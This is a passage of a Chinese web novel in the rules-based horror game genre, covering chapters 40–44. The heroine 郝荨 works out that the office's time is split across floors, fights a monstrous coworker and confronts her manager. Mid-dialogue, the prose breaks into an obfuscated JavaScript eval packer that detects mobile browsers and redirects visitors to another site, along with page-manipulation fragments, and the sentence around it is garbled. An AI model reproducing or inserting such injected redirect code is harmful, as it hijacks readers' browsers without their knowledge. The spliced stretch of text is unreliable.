郝荨讲述了一遍自己刚刚发生的事,但她思忖一番,没有提及她和小乔的交易,只是说:“计划有变,我需要思考一下接下来究竟我们该怎么做。” 余逸懂事地点点头。 * 第四天。 所有玩家已经像被吸干了似的,郝荨摁着自己的头顶,她的头好像针扎一样疼,很难进行什么有效的思考。 第四天都已经这样了,那第五天该如何度过? 今天的办公室格外喧嚣,气息浮躁的好像现实世界中的周五下午。 “听说了吗,我们楼下分公司的最佳员工已经选出来了!” 小乔借着琳达去打印的机会,坐在琳达的椅子上说道。 “今天才周四,怎么选出来的?” “嗨!”小乔用文件夹挡住嘴巴,小声开口:“我听说,那家分公司的员工——只剩下他一个活口了。” 她神色轻松语气自然……就像是在和要好的同事聊八卦那样。 郝荨却起了一片鸡皮疙瘩。 得知这一消息的三人再次在茶水室碰头。 余逸犹豫了一下,开口道:“玛弥,你真有法子吗?” 郝荨没有说话,事实上昨天电梯里的那个奇怪女人确实让她有了新的想法,可这想法太夸张太诡异,她拿不准是不是自己在臆想。 何况……即便那是真的,她也不确定自己的办法能不能奏效。 “还记得我昨天在电梯里碰到的那个人吗?” “那个谜语人?”余逸一愣,“她怎么了?” 郝荨没有回答,她反问道:“你们觉不觉得这里的时间有问题?” “啊?什么问题?”余逸两眼透出清澈的茫然。 “比如说,超乎寻常的疲惫,就像——从来没有休息过。” 郝荨喝了一口咖啡,现在就连热咖啡和阳光也无法缓解她的头疼,这种感觉,就像是她期末考老师突然说要开卷转闭卷一样,连熬几个大夜去背书,白天还得上课和兼职那样。 余逸打了个哈欠,眼泛泪花疑惑道:“我们没有休息吗?不是睡眠时间被快进了?” 他是游戏爱好者,打过很多游戏,大部分游戏都会把睡觉这种无所事事的时间给快进掉,毕竟制作方也不可能让玩家真的在这傻傻挂机等角色醒来,所以他哪怕很累也只觉得是自己上班太辛苦,从来没有怀疑过游戏会这样做。 “这本来只是一个猜测,但你们没有发现吗?我们明明只吃了一顿饭,却并不饿,哪怕是加班到凌晨也不会有丝毫饿意,而同样情况下,却每天都困得要命。” 余逸愣住:“对哦!” 一开始他还以为能正常下班,所以也没有想过晚饭的问题,而后面不知道是有什么遮蔽了他的认知,还是因为并不感觉到饿,又或者是所有同事都在认真加班,没有一个人花时间去吃饭,总之,他再也没有想过晚饭这件事。 他打了个激灵:“这是怎么回事?” “群体效应?或是认知屏蔽。” 郝荨撑住沉重的脑袋,“直到昨天遇到那个人我才忽然意识到,解一道难题最关键的并不在于你解的有多规范——” “——而是你是否清楚出题人在想什么。” 此话一出,茶水室陷入一阵沉默。 过了一会儿余逸忽然用头狠狠撞向抱枕:“本来上班就烦,还要我动脑子!玛弥,求求你了,能不能直接告诉我要我做什么?上刀山下火海也比做题容易啊!” 郝荨:…… “你跟着法瑟就行了。” 她和法瑟对视了一眼:“我得去确认一下这个猜测。” 法瑟皱起眉:“你要做什么?” 郝荨慢慢抬起手向上指了指,弯起眼角:“去山顶看看西西弗斯。” * 法瑟盯着脚下看了一会儿,匕首从袖口滑下,在指尖转动,犹豫几秒道:“我跟你一起上去?” “不用!”郝荨果断拒绝。 余逸从口袋里掏出钥匙:“玛弥……这真的能行吗?” 主意虽然是他出的,但他发誓,自己只是随口一提,万一出什么问题了呢? “放心吧,不会有问题的。” 郝荨从对方的手中接过那把钥匙, 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话音刚落,电梯门忽然裂开一条缝隙,狂风从门中涌出,将郝荨的长发吹得四处翻飞。 钥匙被震得剧烈抖动,仿佛有某种力量在和它抗衡,电梯门“嗡”的一声被冲击力震开。 万能/钥匙赢了。 郝荨踏入电梯站稳,余逸有些担心:“玛弥,要不我陪你去吧?” “不用,放心,我们商人呢最重要的就是诚信,你好好跟着法瑟。” 她看向法瑟,目光沉静:“如果我的猜测出现失误……导致我没有回来,你会带他通关的,对吗?” 虽然她没有提过,但法瑟一看就不像是普通的低阶玩家,无论是在“兔子之家”还是在这儿,他都太过冷静了。 平常玩家能保持冷静已是万幸,他却能在副本里放松发呆。 这场游戏里的NPC都有实体,对他来说并不困难,法瑟一怔。 半晌,他垂下眼睛,低声“嗯”了一声。 电梯门缓缓关闭。 可能因为她是靠万能/钥匙开后门进来的,电梯的电压很是不稳,白炽灯闪烁着,发出噼里啪啦的声响。 电梯摇摇晃晃,郝荨靠在角落回忆昨天那人说过的话。 向上爬吧——字面意思可能有两种,一种是物理上的向上,也许通关秘诀就藏在这栋大楼的最顶层,另一种则可能是身份上的暗示,可能是获得最佳员工,也可能是像她胡扯的那样,顶替艾经理的位置。 至于西西弗斯,她曾经看过这个神话,神话中西西弗斯因为触怒众神被罚,诸神要求他日夜不息地将一块巨石推上山顶,但因为巨石太重,往往没到山顶就又滚落到山底,他只能不断重复日复一日地做着同一个动作。 她不由想得到日日夜夜设计公司的员工们,这和大家有什么区别,每天做着差不多的工作,吃着差不多的饭,没有休止,看不到尽头。 那个人为什么特意提及西西弗斯?是在暗示她什么? 还有她的身份…… 郝荨回忆起那个拥抱,正是那个过于熟悉的拥抱让她决定相信对方,也正是这个拥抱,让她明悟了对方的身份。 现在,只差验证了。 41. 办公室员工守则11 一股寒气从电梯外渗透进来,钢制的电梯大门上蒙上一层薄薄的水雾,将她的倒影晕开,右上角的数字不断变换。 27、29、27——29! “叮,29层到了。” 熟悉的音乐声飘进小小的电梯间,她的眼睛缓缓睁大—— 穿着紫色制服的女人满头大汗,无数的字符在她身后追赶着,膨胀着,几乎要占满整条走廊。 “砰!” 一个字符在那人脑后炸开,她被巨大的冲击力推了个踉跄,差点摔倒,转身却发现电梯门在缓缓关闭,她用尽浑身力气大喊道: “别关门!” 但门依然关闭了,眼看着逃出无望,她咬住牙干脆地转身,冰冷的电梯门给了她些许安慰,好歹身后是安全的。 她掏出木仓,就在要开木仓的瞬间,电梯门忽然再度打开,一只手从电梯中伸了出来,抓住了她的衣领。 一切都仿佛变成了慢动作,字符“气球”们鼓动着加速向她而来,音乐声被无限拉长,最终变成了无意义的尖叫,而她——落入了一个熟悉又温暖的怀抱中。 仿佛她们曾经千百次的拥抱过那样。 电梯门闭合,将爆裂的字符牢牢关在门外。 郝荨松开双手,视线移动到那把银红配色的女士左轮手木仓上,喟叹道: “果然。” 她试图在对方脸上找寻些熟悉的痕迹,但不知道是游戏做的还是公司做的,一丁点相似的样貌都没有,真是生怕她们能认出来彼此。 穿着29层制服的“郝荨”正要开口道谢,就发现对方身上穿着的是27层的蓝色制服,她小小抽了一口冷气。 虽然有了心里预设,但见到对方这样郝荨还是有些失望:“你不记得我了吗?” 对方谨慎地没有开口。 郝荨上下打量着她,原来她昨天看起来这么呆吗? 细碎的发丝湿漉漉地贴在脸颊两侧,领口被汗水打湿,看起来很是可怜。 “你现在不记得没关系,反正我们未来还会见上很多很多次。” 郝荨笑笑,她没管这番话是不是听起来像威胁,只是顺从本心,再次给了对方一个紧紧的拥抱,她们从出生起就在一起,在无数次受伤时拥抱对方,最终也会一起死去,没有人能比她更了解自己,所以她相信,对方一定不会拒绝。 “郝荨”确实没有拒绝,这感觉实在是又熟悉又奇怪,她试探着问:“你是……?” 话刚出口,电梯猛地震了一下,惨白的灯光忽闪忽闪,郝荨想起昨天忽然消失的她,时间不够了,她连忙比了个向上的手势: “记住,我们会在上面相见。” 电梯等闪烁地越来越快,对方的身影也开始模糊。 她加快语速:“诸神从来没有在意过西西弗斯在想什么,为了惩罚他,他们做出了精密的牢笼,但有时候,越精密的牢笼就越害怕不听话的螺丝钉——” “啪!” 灯泡炸开,那件紫色的制服彻底融入了黑暗中消失不见,门外,走廊的灯光照射进来,在她身上映射出两个面露担心的人影。 “玛弥!你回来了!” 郝荨扬起笑脸:“嗯。” 她的心情还不错,虽然理智岌岌可危,但她终于明白了问题出在哪里。 几人又回到了他们的“安全基地”茶水间,在他们进入后,男厕所里闪出一个黑影,一双阴鸷又刻薄的眼睛紧紧盯着他们关上的大门,不知道在想些什么。 “怎么样?!” 余逸殷勤地拿出三个杯子,一一满上递给大家,郝荨接过,这才意识到自己是嘴唇已经干裂,进电梯时她也很紧张,担心自己可能猜错了,虽然没有出电梯,但她去到别的楼层或许也在规则禁止的范围之内,之前偷跑进办公室拿午餐的那人触犯规则后的后果还历历在目,一不小心自己也会变成这样。 但她作为带领团队的人不能表现出自己的害怕和担心,她必须足够镇定,尤其是在这种危险的境地下,幸好她都猜对了。 她猛炫了几大口:“这栋大楼的时间有问题。” “什么问题?” “还记得我昨天被休息室追杀的事吗?我在楼上见到了几乎一模一样的事。” 余逸有点没听懂:“楼上也有人被追杀吗?” “你遇到了——你自己?” 郝荨望向法瑟,点了点头。 余逸蒙住:“啊?” 这怎么得出的结论? “昨天跟我说话的那个奇怪女人,其实就是我自己,同理,前几天在一楼遇到的时候,她身后跟着的两个男人应该也是你们俩。” 她想了想,又补充道:“我之前在窗户那看到的莫名其妙回头的人或许也是我们。” 余逸又开始感觉自己在上高数课了,他明明没有晃神,只是抄了一句笔记而已,再抬头老师就开始讲天书了。 他举起手:“老师,我没听懂!” 对给了钱的老板郝荨一向很有耐心,她解释道:“还记得员工守则里的守则六吗?” 【守则六:本公司严格执行规模化、流程化管理,每位员工都会且仅会待在自己部门的办公楼层,如果你在本楼层看见其他楼层的部门员工,请立刻告知你的经理。请注意,无论对方说什么,都不要相信他/她。】 “如果它没有最后一句,我会以为这条是关于工作效率的,禁止员工乱窜门导致影响工作效率,毕竟对于日日夜夜设计公司来说,工作效率是第一要义。” “那它加了最后一句的意思是……员工有问题?” “对。” 郝荨在沙发上找了个舒服的姿势:“要么员工有问题,要么TA说的话有问题,所以昨天29层的我出现时我没有全然相信她,直到我用了你的□□上到29层。电梯门一打开我就遇到了被休息室追杀的她,她有跟我一模一样的武器,直到这时我才确定我们的时间确实被分割了。” 做这种题,有一条确定线索再倒推时就会方便得多。 “既然确定了那就是我,那就说明员工没有问题,而是不允许我们对话,为什么呢?那只能说明,我们对话会暴露出什么他们不希望我们知道的秘密,再加上我们的‘8小时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128937|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’工作制和三层楼的分公司,那么答案就很明显了。” 余逸骂了一句:“我们的时间被切分成了三份在不同的楼层24小时上班?!” 难怪他们这么累! ……可不对啊。 “但我们的工作时间肯定超过8小时了?” 他们天天在这儿加班加到十二点,别说8小时了,这眼看着都要16小时工作制了!时间怎么匀成三份啊? 法瑟:“规则没有要求加班。” 余逸一愣,他从裤兜里掏出员工守则,仔仔细细看了一遍—— 还真没有! 规则只要求员工保持工作效率! 那他们到底是为什么天天加班的?他这才想起,第一天他也是想早点下班的,但他只要一有想要下班的动作,同事们就会死死盯着他,艾经理也一直不肯通过方案,这才导致他以为自己要一直加班。 “那我这班不是白加了?!”余逸很崩溃,他抓着自己的卷毛使劲揉了揉,揉成了一团。 郝荨笑笑:“也不算白加,还记得那个前辈玩家留下的信息吗?” “不要下班?” “嗯,我们可以简单把游戏分成三方势力,守则一方要求我们一人一证一餐保证效率,最终可以让我们获得最佳员工离开这家分公司,也就意味着通关游戏,姑且可以认为是保护员工的,另一方则偷走你的证和饭,想尽办法让你去休息降低你的工作效率,和规则一方敌对。而我们——也就是玩家和其他员工则是第三方,另外两方都在争夺我们。” “前辈玩家留下的信息里,最重要的就是‘不要下班’,而同事的表现也在告知我们这件事,我们可以做出一个猜测,‘不要下班’这件事对我们是有利的,比如……多出来的时间就像是代码中的bug,会影响程序的稳定,三层楼的时间被迫重叠,程序混乱,所以我们才有机会发现这件事。” “那我们接下来怎么办?” 余逸抱着抱枕锤了半天,才勉强平复下自己的愤怒,资本家都该去吊路灯!!! “玛弥,咱们能不能想办法,干他一票!打倒这个变态公司!” 郝荨挑了挑眉:“或许?我准备去一趟休息室。” 法瑟有些迷惑:“为什么?你在违反规则。” 在规则类副本中违反规则几乎可以等同于找死。 郝荨沉默了几秒:“我想试试看。” 在这间分公司中,艾经理只掌管27层,28和29都有各自的经理,他们无法代替公司做决定,所以她必须要找到比经理更高级别的负责人,负责人会在哪呢? 如果她是这个负责人……她一定会在一个能管控整家公司的地方,位置独立而隐蔽,但又能随时到达这三层的任何一个地方。 “休息室”三个字在她的脑海中呼之欲出。 “九条员工守则中,另外七条都是要求员工‘要’做什么,而只有守则五和守则六是‘不要’做什么,守则六揭示了整家公司的最大秘密,它切割了员工的时间,守则五背后也一定有什么。” 郝荨笃定道:“我要去看看。” 42. 办公室员工守则12 法瑟重新调整了一下面罩:“我去。” 郝荨立马拒绝:“不行,你得留下来带小余。” “那不带了。” 郝荨疑惑:“我上电梯之前你还答应了会带他出去,怎么现在又反悔?” 余逸左看看右看看,只感觉自己好像爸妈要离婚被逼说要跟谁的可怜小孩。 他弱弱举手:“不然……我去?” 二人异口同声:“不行。” “那我们一起去嘛!”余逸也站了起来,活动手脚道,“我们是一个Team!当然要一起行动啦,怎么能什么事都让玛弥自己承担呢?” 郝荨愣住,对她来说,余逸只是个比较熟悉的老板,她把自己定位为带老板上分的陪玩,老板卖自己也是应该的,法瑟就更不用说了,只是幸运碰上的路人队友,她从没想过两人会愿意陪她一起分担。 她嘴唇动了动,却一句话也说不出来。 “对吧法瑟,咱们家人同心其利断金!” 余逸一手揽一个,说完又有些心虚:“只要你们不嫌弃我拖累你们就行……” 郝荨花了点时间才把情绪压下,她笑道:“这时候我是不是应该掏出张照片,说等我们完成这个任务我就回老家结婚?” 余逸发出一声惨叫:“姐!你是我亲姐!大战之前不要立FLAG啊!” 一时间茶水室里全是快活的空气。 “嘿嘿……” 余逸一下子不困了,他在原地蹦跶两下,伸手道:“寻找休息室大作战!启动!” 他们很燃地从茶水室冲出,又很燃地冲进男女厕所,最后燃到不能再燃的在洗手间门口面面相觑。 “如果,我是说如果……休息室不出来怎么办?” 郝荨前两次都是因为从洗手间出来才碰到的休息室,这次当然也以为很容易就能碰到,但她没想到,休息室居然不出来了! 余逸小声问:“……再试几次?” 法瑟手指撑上额头,有点怀疑人生。 郝荨想了想:“或许和我们的精神状态有关,既然是‘休息室’,当然是需要休息的人才会进,现在我们精神太亢奋,不符合它的出现规则。” “……那我们去跑几圈?” 郝荨深吸一口气:“不,先回去工作,等大家都累了再集合。” 这个很燃的团队成立不到半小时便原地解散。 不知道是不是心理作用,她一看到自己办公室那个2702的标牌,强烈的疲惫感就涌了上来。 等等,她是不是忘了什么? 没想起来,郝荨耸了耸肩,打了个哈欠。 正要进门,一股巨大的冲击力从身后撞了上来,把她撞得晕头转向,反应过来时,人已经被拉入了更衣室。 “咔哒。” 更衣室的门被反锁上,熟悉的人影转过身来,颧骨高耸,眼神刻薄——是巴哥。 “你刚刚跟那俩在一起聊了什么?” 郝荨眼睛睁大,他跟踪她? “就…沟通一下工作,闲聊一下。” “说实话!” 巴哥突然大声咆哮,他的情绪很不稳定,眼睛里冒出了点点红血丝,和琳达杀死同事那天一样。 他听到了什么? 郝荨偷偷把手放进口袋,试着解释:“我说的就是实话——” 巴哥不愿再听她说废话,打断道:“你们是不是约好了让他们当最佳员工?名额是不是已经满了?!说话!!!” 郝荨:。 她想起来了。 郝荨:“不是,你听我狡辩——” “砰!” 巴哥一拳打到一旁的更衣柜上,柜面深深凹了进去。 “我现在不想听你解释,你就直接说,能不能把他们的名额换成我和小乔,能!不!能!” 他的鼻孔大张,剧烈吸气,像是一只发狂的野兽。 郝荨连忙安抚他:“能能能,你冷静一点!” 巴哥的情绪似乎稳定了一些:“真的?” “真的。” 郝荨发誓,自己从来没有这么认真地骗过人,脸上的每一个毛孔都写着真诚,巴哥似乎信了,他转身要去开门。 鞋子踩在地砖上发出沉闷的声响,一步、两步……然后,在门边站定。 她的心提了起来。 巴哥微微扭过头,灯光照射在他的后脑,让人看不清楚表情: “哈……是不是以为我信了?” 郝荨呼吸一顿,巴哥将身体转了过来,他的脸上尽是洋洋得意:“以为我是好骗的新人吗?” 脚步声再次响起,传进郝荨耳中的声音越来越大,巴哥一步步走近:“年轻人,让前辈来给你一条忠告,所有嘴巴里说的话都不可信,只有亲眼所见才是真实!” 郝荨默默后退:“你要什么?” “我要——”巴哥眯起眼睛,“亲眼看见照片墙上出现我们的名字!” “这不可能。” 郝荨冷静道:“今天才周四,按照公司规章制度,周五才能公布最佳员工。” 她说得很有道理,巴哥想了想,退而求其次道:“那我要亲自见证你和经理交接最佳员工的名单,现在就去!” 说着,他就要去开门。 这可不行! 郝荨急中生智:“抱歉,我是骗了你。” 巴哥的脚步顿住,他的头慢慢扭过来,不知道是不是郝荨理智降低产生的幻觉,她眼睁睁看着巴哥的头扭过了一百八十度,那张脸上五官开始扭曲,愤怒的青筋暴起:“你骗我?” 郝荨支支吾吾道:“其实……我最多只能匀出一个名额,那两个男人里有一个叫‘法瑟’的,很凶!你去隔壁办公室问问就知道了,我得罪不起!” 死道友不死贫道,法瑟,对不起了! 巴哥的怒火暂时稳定住,他确实听说过他们这层楼的新人里有个硬茬子,同办公室的人都要躲着他,连打字都不敢大声打。 他的神色一时阴晴不定,那个大佬得罪不起,那就只有琳达——但琳达也不是什么好相与的,他和琳达互相看不顺眼这么多年,互相置之死地的机会都不知道有过多少次,谁也没能奈何得了谁。 他有些无法抉择,良久,他叹了口气,语气遗憾道:“那算了,一个名额就一个名额吧。” “这个名额……给谁?” 巴哥翻了个白眼:“当然是给我了!小乔等下 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小乔松开半死不活的肿成猪头的巴哥,舒了口气,她把头发理顺,又抬手确认了一下自己的睫毛没有被掀翻,重新变成了那个温温柔柔的样子:“你很久没回来,我有点担心你,就找琳达帮忙一起来找你。” 郝荨有点感动,虽然心知这俩人一个是自己靠诈骗骗来的客户1号,另一个是用计骗上贼船的客户2号,但只要没被她们发现自己是骗子,大家就还是好同事。 她正要道谢,忽然,地上的男人诡异地扭动了几下。 一团黑雾从巴哥鼻中冒出,像是某种特殊物质组成的集合体,他的四肢像是被什么掰断似的瞬间弯折,然后鼓胀、拉长,只一秒钟,就变成了长手长脚的大头怪物! “小心!” 琳达转头就跑,却一头撞在无形的屏障上,更衣室被封锁了! 三人沉默地望着这只慢慢站起的怪物,他的身躯因为过于高而只能弯腰,巨大的头颅弯下,睁开了漆黑一片的眼珠。 小乔能屈能伸,柔情似水道:“巴哥哥,你吓到小乔宝宝了~” 回应她的是巴哥硕大的拳头—— “砰!” 地砖硬生生裂开一条巨大缝隙。 小乔骂了一句,转头那双水汪汪的眼睛又看向郝荨:“玛伊雅弥姐姐,你会保护人家的对吗?” 郝荨:…… “有没有一种可能,我比你小。” 小乔骂了一句脏话。 琳达“呵呵”两声:“一到关键时刻你就玩这套,我倒要看看你这次还能找谁保护你。” “哈!”小乔撸起袖子,“放心,我死也会拉你一起的!” 说完,她就用力推倒更衣柜—— 郝荨瞳孔地震,眼睁睁看着更衣柜朝自己倒下,她甚至只来得及原地蹲下,把自己缩成了个球:“不是!你推错位置了吧!巴哥在那啊!” 小乔转过头来,给了她一个甜美的wink:“躲好了,别忘了我们的交易!” 郝荨这才后知后觉地发现,更衣柜倒在狭长的房间内,正好在角落搭建出了一个稳定的三角形。 从巴哥的角度,根本看不见她。 43. 办公室员工守则13 “别过来!你找死啊!” 屋内响起琳达的尖叫,不知道是不是小乔之前吸引的仇恨,巴哥一直在追着她打,小乔便带着这怪物一直跟在琳达屁股后面,边跑还边狂笑:“嘎嘎嘎嘎别跑啊!不是看不上我吗,嚣张得很!现在怎么见我就跑啊!” 她用力向前扑去,一下抱住琳达的脖子,把身体挂在她身上。 巴哥见状更加恼怒,他伸手就要去抓小乔飘扬在空中的长发,琳达猛一转身,细眉一拧:“滚!” 她抓起一旁的马桶搋子就用力敲了上去,鼓胀的手臂瞬间凹了一块。 小乔皱起脸:“噫——好恶心。” 琳达用力把小乔甩下,举起马桶搋子:“你也滚!” 小乔嫌弃地看了她一眼:“好凶哦,你就是嫉妒我的美貌!” “再说一句我连你也打!” 琳达的眼里仿佛射出火星子似的,连头发都竖了起来,小乔可不怕她,她四下看看,挑了把专门扫厕所的拖把,也举在胸口和琳达对峙: “你真以为老娘吃素的啊!打起来还不知道谁怕谁呢!” 巴哥身上的黑雾更浓了,眼前的两个女人竟然敢无视他的存在! “吼——” 他大声咆哮,却依然没有吸引到她们的注意。 受到刺激的他身形愈发庞大,几乎要占满这窄小的空间,更衣柜发出令人牙酸的嘎吱声,琳达和小乔忽觉不对,两人瞪着眼慢慢扭过头来,巴哥那颗巨大的头颅几乎要贴上她们,两人大叫一声,各自扭头就跑。 小乔缩进一旁的洗漱室:“都怪你!什么时候了还跟我吵架!” 琳达则是一下窜上另一边的更衣柜顶,大声骂了一句:“滚!!!” 巴哥再次发出一声大吼,猛地撞向更衣柜,铁皮柜子被撞得完全凹了进去,琳达大声尖叫。 听到声音的郝荨费劲探出头来,她趴在更衣柜下的角落,小心翼翼地掏出了【弗兰德斯之木仓】—— 更衣室外一片安静,没有人听得到里面的声响。 而这些办公室里有一间格外安静,所有人都小心挤在靠墙的桌上办公,只有一张桌子例外,那桌上的电脑还关着机,上面透着一层薄薄的灰,不知道多久没有打开过了。 桌后的电脑椅被放平,被众人忌惮的大佬躺在上头,睡着了的模样。 一声木仓响突兀响起,法瑟忽的睁开双眼。 * “你这木仓……是玩具吗?”小乔探出脑袋。 郝荨看着毫发无伤的巴哥,心跳骤停。 不应该啊,她这木仓除了普通的物理伤害外还自带属性,可以重伤无实体怨念,照理说无论对方是人还是怨念,都一定可以被击中,怎么会毫无反应呢? 她又试了两木仓,除了完全吸引住巴哥注意力外,没有半点用处。 还有什么技能道具?! 她在游戏包裹里翻了半天,只绝望地翻出了一封情书。 完了。 巴哥迈着沉重的步伐走近她,长长的手臂伸出,轻而易举地就将那更衣柜抬了起来,露出了下面躲藏着的郝荨。 “玛——伊——雅——弥——” 这个名字磕磕绊绊地从他喉咙中冒出,郝荨挤出一个尴尬又不失礼貌的笑。 早知道她就取名叫Honorificabilitudinitatibus了! 趴在更衣柜顶上的琳达抓住时机,一把将马桶搋子吸在了巴哥眼睛上:“跑!” 巴哥吃痛,手中的更衣柜一下落下,郝荨连忙打了个滚从巴哥身边挤过,既然这怪物她们对付不了,就只能想办法破开大门的封锁了! 她抬手“砰!砰!”就给了空气墙两木仓,空气墙上晕开层层波纹,这有用! 一时间她福至心灵,举木仓对准刚刚的中心就射,子弹一击一击射在同一个部位,硬生生将空气墙打出了裂痕,她有预感,只要再来一击—— 银色的子弹从木仓管中呼啸而出,在空中划出一道笔直轨迹。 同一时刻,清脆的破裂声伴随着一道白色冷光乍现,无数碎片落下,反射出门口那人的脸。 本应对上空气墙的子弹此刻却严丝合缝对上了他的眉心! 郝荨失声叫道:“法瑟!!!” 刀光闪过,只听一声清脆的“叮——”,那枚子弹被一把骨质长刀牢牢挡在眼前。 这刀实在太过特别,特别到她条件反射:“公主?!” 法瑟身形一滞,差点没被巴哥掀翻。 郝荨顾不上太多,她把琳达从扭曲的柜顶扶下,那头法瑟已经和巴哥打了起来,不知道他那骨刀究竟是什么属性,竟然一刀就把巴哥的手臂斩断,黑雾喷涌而出。 郝荨和琳达搀扶着,正要去找小乔,就发现小乔已经逃出门外,琳达恶狠狠地瞪了她一眼:“再跟你一起出去我就是狗!” 小乔重新恢复了那副温柔淑女样,装作什么也没听到,只柔弱地靠在墙上享受着同事们的关怀。 没过多久,法瑟浑身是血的出来了。 “你受伤了?!” 法瑟摇摇头。 郝荨松了口气,她偷偷探头看了眼,屋内一片狼藉,很难说清到底哪个部分属于原本的巴哥。 同事-1 法瑟皱着眉,把长刀塞回手臂。 虽然他没喊疼,但血肉被撕裂的模样还是让郝荨忍不住别开了脸。 法瑟竟然是刺猬公主,这么算来,她竟然每场游戏都能和法瑟碰上,这么有缘? 郝荨不着痕迹地瞥了他一眼,垂下眼帘。 “玛弥!你们没事吧?” 余逸围着两人转了几圈,没发现什么伤口才停下脚步。 “那我们接下来怎么办啊?继续等吗?” “其实……”郝荨摊开手,“我想到了一个绝妙的主意。” 她的手中出现了一封粉色信封,信封上画着两个大大的爱心,被一支箭穿在一起:“高层普通员工找不到——但某人一定能找到。” * “你去?” “你去吧……” “……不然还是你去,你年轻,年轻人勇敢。” “不不不我不行,法瑟去吧!法瑟这么帅肯定能手到擒来!” “那法瑟……?” 两双眼睛闪亮亮盯着他,法瑟手紧了紧,冷酷无情地扭开了头。 “好吧。” 郝荨摸了摸抽痛的太阳穴,抬头看向经理办公室的门牌:“我去就我去。” 她抬手轻轻敲门,门内传来艾经理有些失真的 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郝荨打了个激灵,艾经理的另外半张脸上,本应存在眼睛的地方一片光滑。 她唯一的那只眼睛微微眯起:“你抖什么?” 郝荨的眼前隐隐透出红光,她看向自己的理智,已经掉到了40。 “我……我有点冷。” “冷?” 艾经理从电脑后站起,她的脚步轻飘飘的,像是滑过来似的,来到了郝荨跟前,郝荨不由自主地退后一步。 艾经理一怔:“你是不是看到了什么?” 对方的神色并没有恐吓和威胁,像是真的没料到一般,郝荨也愣住了。 “看到……什么?” “比如——”艾经理压低声音,“某些不寻常的东西出现在我身上,你去过休息室了?!” 她面色极其严肃,郝荨犹豫两秒还是道:“什么休息室,我们公司不是没有休息室吗?” 艾经理面色缓和下来:“还有救,听我说,你现在开始什么也不要想,不要听,不要看,无论你看到听到了什么,都是受到了‘它’的影响。” “‘它’是什么——” 艾经理厉声打断:“我说过什么?!不要想!” 郝荨倏然住口。 “你太累了,我给你批个假回去休息一下,等幻觉消失再过来。” 她说得自然,郝荨几乎要想下意识答应,可“休息”两个字却让她悚然一惊。 这真的是她的幻觉吗? 有没有一种可能,这个“艾经理”……就是“它”? 门被一把推开,郝荨迅速回头,另一个艾经理走了进来,两只眼睛一个鼻子一张嘴。 她再回过头去时,站着的艾经理已经消失不见。 “有事?” 新出现的艾经理见她傻站着,便越过她坐回了椅子上。 郝荨吞了口口水,这个新的“艾经理”……会是真的艾经理吗? 艾经理的鼻子突然抽动了两下,她把眼镜摘下了些许,透过镜片上方看过来:“你身上什么味道?” 不等郝荨嗅闻,艾经理便笃定道:“你见过‘它’了。” 44. 办公室员工守则14 “你见过‘它’了。” 艾经理拉开抽屉,在里面翻找着什么。 “什么……‘它’?”郝荨试探着问。 艾经理没有回答,只是说:“外套脱掉。” 郝荨睁大双眼不敢置信:“什么?!” 艾经理皱眉:“我不想再说第二遍。” 郝荨犹豫着解开外套,却见艾经理从抽屉里掏出一柄办公常用的美工刀,刀片划出,锋利的刀尖在灯光下反射出慑人的光芒。 她下意识后退。 艾经理举着刀走过来,惯常严肃的脸上带上些许柔和,她似乎不常安慰人,声音干巴巴的:“别怕,‘它’的力量削弱了很多,只要把被污染的部分挖除就不会有事。” “不是,艾经理你等一下!” 郝荨一下靠在门板上,退无可退。 见她这么害怕,艾经理有些无奈,她按住不算逃窜的郝荨,一把掀翻过来:“别动,我动作很快。” “不不不等等等等等——” 见她实在不听话,艾经理只好停下手中动作,另一只手将她的外套一把拉下:“你自己看。” 办公室的门后放置着一面镜子,郝荨扭头望去,瞳孔巨震—— 她的工作制服里穿着一件简单的白色背心,背后露出来的部分肌肤本应光滑无比,现在却布满了密密麻麻的细痕,像是用刀胡乱划过的刀伤,凹凸不平。 “这是……” 那细痕忽然开始扭动、撕扯,只听空气中一声轻微的“啵”,细痕骤然张开,那竟然是一只眼睛! 这声轻响像是什么信号一般,随着它的睁开,其他眼睛也迅速睁开。 郝荨冷汗瞬间流了出来,汗水渗进那些眼睛里,它们还不舒服地挤了挤眼睛,细细看去,那眼眶里塞着的却不是人类或动物的眼珠,而是一个个时钟表盘。 三根表针“滴答滴答”快速转动着,仿佛在催促她时间不多了。 这东西什么时候出现在她身上的?! “这是什么东西!” 艾经理推了推眼镜,避重就轻道:“你可以理解为是‘它’的奖励,也可以理解为是‘它’的惩罚。” “‘它’究竟是什么?” 艾经理没有正面回答,只是盯着她看了几秒:“如果你还想‘活’,就不要让自己思考太多。” “最终变成大家那样吗,连自己的过去都忘记?” 两人沉默地对视,艾经理深深看向她,像是在透过她看着什么。 “不处理的话我还能‘活’多久?” “三天。” 不等郝荨欣喜,艾经理又补充道:“前提是你不会再见到‘它’,一旦你的全身长满这些东西,就代表‘它’对你很满意。” 她没有再说下去,但郝荨已经明白了,被这种东西看上还能有什么后果,运气好她可能会永远留在副本里,运气不好…… “时间足够了,现在在来说说正事吧。” 她手臂一动,外套重新遮挡住整片背部:“我想见公司负责人。” 艾经理断然拒绝。 “为什么?!”她脸色冷了下来,“我作为员工,有理由怀疑方案一直不通过是你在卡我们,目的是斩断我们的升职空间,我要求面见负责人咱们当面说清楚到底是怎么回事!” 哪怕对方这么明目张胆地诽谤她,艾经理也没有受到丝毫影响,她把美工刀放回抽屉,像之前的每一次见面那样重新看回屏幕。 这是完全的无视,就像大人不会管无理取闹的小孩那样。 “出去。”艾经理冷淡道。 郝荨深吸一口气:“这是你逼我的!” 她做足心理建设:“你确定不同意带我去见负责人吗?” “嗯。” “好吧。” 郝荨“登登”几步走到艾经理桌前,把地板踩得又重又响:“艾经理!” 艾经理勉强分给她一个眼神,却见对方忽的弯下腰,一封粉色的信封递到了她的面前—— 【道具:公主的告白信】 【描述:没有人可以拒绝公主,没有人,但——爱情和身份有关吗?】 郝荨紧紧闭着眼,大声开口威胁道:“如果你还是不愿意带我去见负责人,我就只能向你告白了!” 